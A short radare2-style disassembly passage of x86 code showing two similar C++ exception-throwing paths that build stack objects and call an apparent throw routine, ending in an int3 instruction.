push eax
lea ecx, [ebp - 0x3c]
call fcn.01328180
push eax
mov edx, 0xdd0c14
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x190]
call fcn.01392660
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1d4]
call fcn.0132cf80
add esp, 4
lea eax, [ebp - 0x1d4]
push 0xddf5d0
push eax
call fcn.0140511b
lea ecx, [ebp - 0xc8]
call fcn.01390560
push eax
lea ecx, [ebp - 0x208]
call fcn.01328180
push eax
mov edx, 0xdd0c14
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1d0]
call fcn.01392660
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1f0]
call fcn.0132cf80
add esp, 4
lea eax, [ebp - 0x1f0]
push 0xddf5d0
push eax
call fcn.0140511b
int3